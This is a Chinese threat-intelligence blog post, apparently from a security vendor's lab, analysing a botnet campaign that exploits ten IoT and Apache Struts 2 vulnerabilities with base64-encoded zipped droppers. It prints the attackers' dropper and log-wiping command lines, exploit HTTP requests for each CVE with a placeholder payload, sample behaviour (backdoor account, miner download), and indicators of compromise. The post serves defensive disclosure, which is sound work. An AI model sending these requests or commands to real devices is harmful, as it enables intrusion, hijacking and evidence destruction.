【格物猎踪】压缩?base64?10个漏洞?攻击物联网设备愈发隐蔽!

执行摘要

近期,我们在排查绿盟威胁捕获系统相关日志的过程中发现了一种针对物联网设备和structs2的新型攻击手法,攻击者通过压缩样本、base64编码传输等方式隐藏其样本和执行的指令。自2020年12月17日起,从物联网设备到structs2,攻击者已利用10个漏洞投递相关样本。

截至成稿,我们发现利用该攻击手法的漏洞探测行为尚未停止,虽然没有出现爆发的情况,但也应引起各方注意,提前做好预防措施。

1.  攻击手法分析

我们发现攻击者已经使用了10个漏洞传播样本,感染僵尸主机。虽然使用的漏洞不同,但投递样本的方式类似,针对物联网设备投递样本的payload结构如下所示(encoded_zipfile表示base64编码后的内容):

echo encoded_zipfile | base64 -d > virus.zip;unzip -o virus.zip;chmod 775 virus.sh;sh  virus.sh & rm -rf virus.sh;rm -rf /var/log;history -c;history -w

即,不通过wget、curl等方式下载样本,直接通过echo命令打印base64编码过的zip文件,并通过管道运算符连接base64解码的命令,将解码后的结果输出到本地的文件中。之后解压zip文件,修改文件权限,执行样本,清除磁盘中的样本和相关日志,销毁证据。

针对structs2投递样本时,payload结构入下所示(encoded_zipfile表示base64编码后的内容):

echo encoded_zipfile | base64 -d> cat.gz.zip; unzip -f -P “1234567890” cat.gz.zip; gzip -fd *;chmod 755 cat; cat&rm -rf cat; rm .bash_history; rm -rf /var/log; history -cw

整体攻击手法和针对物联网设备投递样本基本一样,区别是:1)将样本压缩了两次,且使用了密码。2)样本从shell变为二进制,且命名为cat,混淆执行样本后的进程。

2.  相关漏洞

我们发现攻击者用于投递样本的漏洞达到10种,包括物联网设备的漏洞以及Apache Struts 2的相关漏洞,本文就其中物联网相关漏洞的做相关说明。

2.1CVE-2020-5902

F5 BIG-IP 是美国 F5 公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。2020年7月初,有安全研究人员公开披露F5 BIG-IP产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞,并给出测试POC,攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行,进而控制F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等,该漏洞影响控制面板,不影响数据面板。

CVE-2020-5902涉及文件读取、命令执行等,据公开EXP描述,命令执行分为三步:

  • 创建执行命令的模式,将list设置为bash的别名。

tmshCmd.jsp?command=create+cli+alias+private+list+command+bash

  • 向创建的文件中写入要执行的命令

fileSave.jsp?fileName=/tmp/cmd&content=id

  • 利用前面设置的list来执行文件中的命令

tmshCmd.jsp?command=list+/tmp/cmd

但本次我们捕获到的攻击,攻击者直接将攻击的命令写入了crontab文件(其中payload为攻击者的恶意载荷,如第一节所示):

GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/etc/crontab&content=%5Cn%5Cn%5Cn%5Cn%201%20*%20*%20*%20*%20payload

不同于公开EXP的利用手法,说明攻击者对漏洞具有一定的分析能力,对武器库有一定的开发能力。

2.2CVE-2014-8361

该漏洞存在于Realtek SDK中的miniigd SOAP服务中,该漏洞允许攻击者通过远程执行任意代码。触发RCE的请求路径为:/picsdesc.xml,请求的方法为POST,恶意载荷位于body中,目前,漏洞的利用方式与公开EXP一致,如下所示(其中payload为攻击者的恶意载荷,如第一节所示):

POST /picsdesc.xml HTTP/1.1

User-Agent: Chrome/85.0.4183.121

Accept: */*

Accept-Encoding: identity

Host: xxx.xxx.xxx.xxx

Connection: keep-alive

Content-Type: text/xml

Content-Length: 18319

SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping

<?xml version=”1.0″?><s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”><s:Body><u:AddPortMapping xmlns:u=”urn:schemas-upnp-org:service:WANIPConnection:1″><NewRemoteHost></NewRemoteHost><NewExternalPort>30006</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>30006</NewInternalPort><NewInternalClient>’payload’ </NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration><u:AddPortMapping></s:Body></s:Envelope>

2.3CVE-2020-10987

腾达的AC15 AC1900路由器,在15.03.05.19版本中允许攻击者远程执行命令,目前,漏洞的利用方式与公开EXP一致,触发漏洞的请求路径为:/goform/setUsbUnload,请求方法为:POST,恶意负载位于body中,如下所示(其中payload为攻击者的恶意载荷,如第一节所示):

POST /goform/setUsbUnload HTTP/1.1

User-Agent: Chrome/85.0.4183.121

Accept: */*

Accept-Encoding: identity

Host: xxx.xxx.xxx.xxx

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 17749

X-Requested-With: XMLHttpRequest

Cookie: password=40203abe6e81ed98cbc97cdd6ec4f144f1qtqb

Referer: http://’129.28.197.213’samba.html?random=0.035894671968571656&

deViceName=; payload

2.4CVE-2017-6334

NETGEAR DGN2200中的dnslookup.cgi文件,在10.0.0.50版本中允许攻击者通过远程发送POST请求远程执行系统命令,目前,漏洞的利用方式与公开EXP一致,触发漏洞的请求路径为:/dnslookup.cgi,请求方法为:POST,恶意负载位于body中,如下所示(其中payload为攻击者的恶意载荷,如第一节所示):

POST /dnslookup.cgi HTTP/1.1

Host: xxx.xxx.xxx.xxx

Authorization: Basic YWRtaW46cGFzc3dvcmQ=

User-Agent: curl/7.72.0

Accept: */*

Content-Length: 17777

Content-Type: application/x-www-form-urlencoded

host_name=www.google.com;payload

2.5EDB-ID:40500

AVTECH成立于1996年,是世界上领先的CCTV制造商之一,该漏洞影响任何版本的Avtech设备(包括IP摄像头、NVR、DVR)。互联网公开EXP中,触发漏洞的请求路径为:/dnslookup.cgi,请求方法为:GET,恶意负载位于请求的参数中,但我们发现,攻击者对该漏洞的利用于公开EXP不同,其二姨夫在位于请求的Body中,如下所示(其中payload为攻击者的恶意载荷,如第一节所示):

GET /cgi-bin/nobody/Search.cgi HTTP/1.1

User-Agent: Chrome/85.0.4183.121

Accept: */*

Accept-Encoding: identity

Host: 129.28.176.79

Connection: Keep-Alive

action: cgi_query

ip: google.com

port: 80

queryb64str: Lw==

username: admin%20;XmlAp%20r%20Account.User1.Password%3E$(payload)

password: admin

2.6CVE-2017-17215

该漏洞影响华为HG532设备,允许攻击者远程执行命令。经过认证的攻击者可以向37215端口发送恶意的数据包触发攻击。目前,漏洞的利用方式与公开EXP一致,触发漏洞的请求路径为:/ctrlt/DeviceUpgrade_1,请求方法为:POST,恶意负载位于body中,如下所示(其中payload为攻击者的恶意载荷,如第一节所示):

POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

User-Agent: Chrome/85.0.4183.121

Accept: */*

Accept-Encoding: identity

Host: 129.28.176.79

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 18111

<?xml version=”1.0″ ?>\n    <s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”>\n    <s:Body><u:Upgrade xmlns:u=”urn:schemas-upnp-org:service:WANPPPConnection:1″>\n    <NewStatusURL>$( payload)</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>

2.7Shellshock

Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。

本次我们捕获到的利用Shellshock的攻击涉及两类:Web服务和SMTP服务。其中,针对Web服务触发Shellshock的攻击,请求路径为:/cgi-bin/luci,请求的方法为GET,触发EXP的路径位于User Agent中,如下所示(其中payload为攻击者的恶意载荷,如第一节所示):

GET /cgi-bin/luci HTTP/1.1

User-Agent: () { :;};payload

针对SMTP服务触发Shellshock的攻击,如下所示(其中payload为攻击者的恶意载荷,如第一节所示):

MAIL FROM:<() {{ :; }}; payload >\r\n

RCPT TO:<root>\r\n

DATA\r\n

3.  样本分析

本次攻击,我们捕获到的样本分为两种,一种针对物联网设备,另一种针对Apache Struts 2。

3.1针对物联网设备的样本

物联网设备投递的样本为shell,关键部分代码如图所示:

shell样本

该样本运行后,会在僵尸主机上创建root后门账户,开启SSH远程登录,清除防火墙,值得注意的时,该样本会通过smtp的方式,向自己的邮箱发送邮件,通知已感染新的僵尸主机。目前,攻击者发送邮件的账号(硬编码)仍未修改密码,可以正常使用,但我们发现,攻击者已经清除了相关记录。

攻击者邮箱

另外,该样本尝试从github以及pastebin下载其他样本,但其github仓库已删除,从样本名称猜测,攻击者尝试开启设备的3389端口。

3.2针对Apache Struts 2的样本

针对Apache Struts 2的样本使用多层xor加密,解密后与针对物联网设备的样本类似,为bash木马,主要功能为下载执行指定url中的文件(目前url涉及的github项目已经关闭),一般用于下载挖矿程序xmrig,矿池地址:xmr.2miners.com:2222。

4.  IoC

部分样本源文件名与SHA256

文件名sha256
cat.gz.zip748f4973dccc6cbc1aadf7a4c027e96fb2879460ead342db05723ff33bc14b2b
catee55dfe8c2a6f211352d7c9254f666168f04557a36865cafdb2d76ff7bc91161
cat.gz.zipc39fb1df5c323e32d3e3e867246ec4db81b2e7f8af7ab4299d2ff327a2ede497
cat289dc3ad7bae563b958d880c5f622ef0355718e0556b2f90df9d1c2f0a1a63f1
b3f0a37eae7dd2f90317614a5a913b8a0a0f0a32cf6920dfeb9c11432af5de467
cm.shf5f244166a7165c112646b96ac4744dd248269efe6ec753670693b7b8eb99a09
c8.sh6062bd63036b734050379f96d2e03ed4833874fe2863958684f23269d78e84ea

相关漏洞

漏洞编号漏洞描述
CVE-2020-10987Tenda AC15 AC1900 RCE
CVE-2017-6334Netgear DGN2200 – ‘dnslookup.cgi’ Command Injection
EDB-ID:40500AVTECH IP Camera / NVR / DVR Devices – Multiple Vulnerabilities
CVE-2017-17215Huawei Router HG532 – Arbitrary Command Execution
CVE-2020-17530S2-061 RCE
CVE-2017-5638Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 – RCE
N/AWeb Shellshock
N/ASMTP Shellshock
CVE-2014-8361Realtek SDK – Miniigd UPnP SOAP Command Execution
CVE-2020-5902F5 BIG-IP RCE

攻击者邮箱

gdmtfk2@yandex.com
gdmtfk3@yandex.com

攻击源

80.92.181.3
201.184.128.134
109.195.194.79
121.42.9.57
222.74.73.202
124.158.160.131
43.248.24.226
203.173.94.2
181.209.91.154
62.183.98.181
119.82.252.122
92.255.185.6
179.63.254.90
181.236.224.4
36.90.40.81
190.57.150.110
85.117.62.202
177.10.84.121
213.222.34.200
103.76.188.2
1.10.140.43
60.217.64.237
89.16.103.241
98.190.102.62
181.129.5.34
203.202.245.211
194.150.255.200
46.146.214.244
190.226.46.114
118.174.46.144

往期回顾:

专题: 格物猎踪

标签: 僵尸网络,漏洞利用

文章:

【格物猎踪】突发-新型Gafgyt僵尸网络变种感染Seowon路由器

【格物猎踪】“磨刀霍霍”—ASUS DSL-N12E_C1 RCE漏洞正被探测

【格物猎踪】“老树新花”——新武器已更新,目标TVT DVR

格物实验室

格物实验室专注于工业互联网、物联网和车联网三大业务场景的安全研究。致力于以场景为导向,只能设备为中心的漏洞挖掘、研究与安全分析,目前已发布多篇研究报告。

伏影实验室

伏影实验室专注于安全威胁监测与对抗技术研究。

研究目标包括Botnet、APT高级威胁,DDoS对抗,WEB对抗,流行服务系统脆弱利用威胁、身份认证威胁,数字资产威胁,黑色产业威胁及新兴威胁。通过掌控现网威胁来识别风险,缓解威胁伤害,为威胁对抗提供决策支撑。

Spread the word. Share this post!

Meet The Author

Leave Comment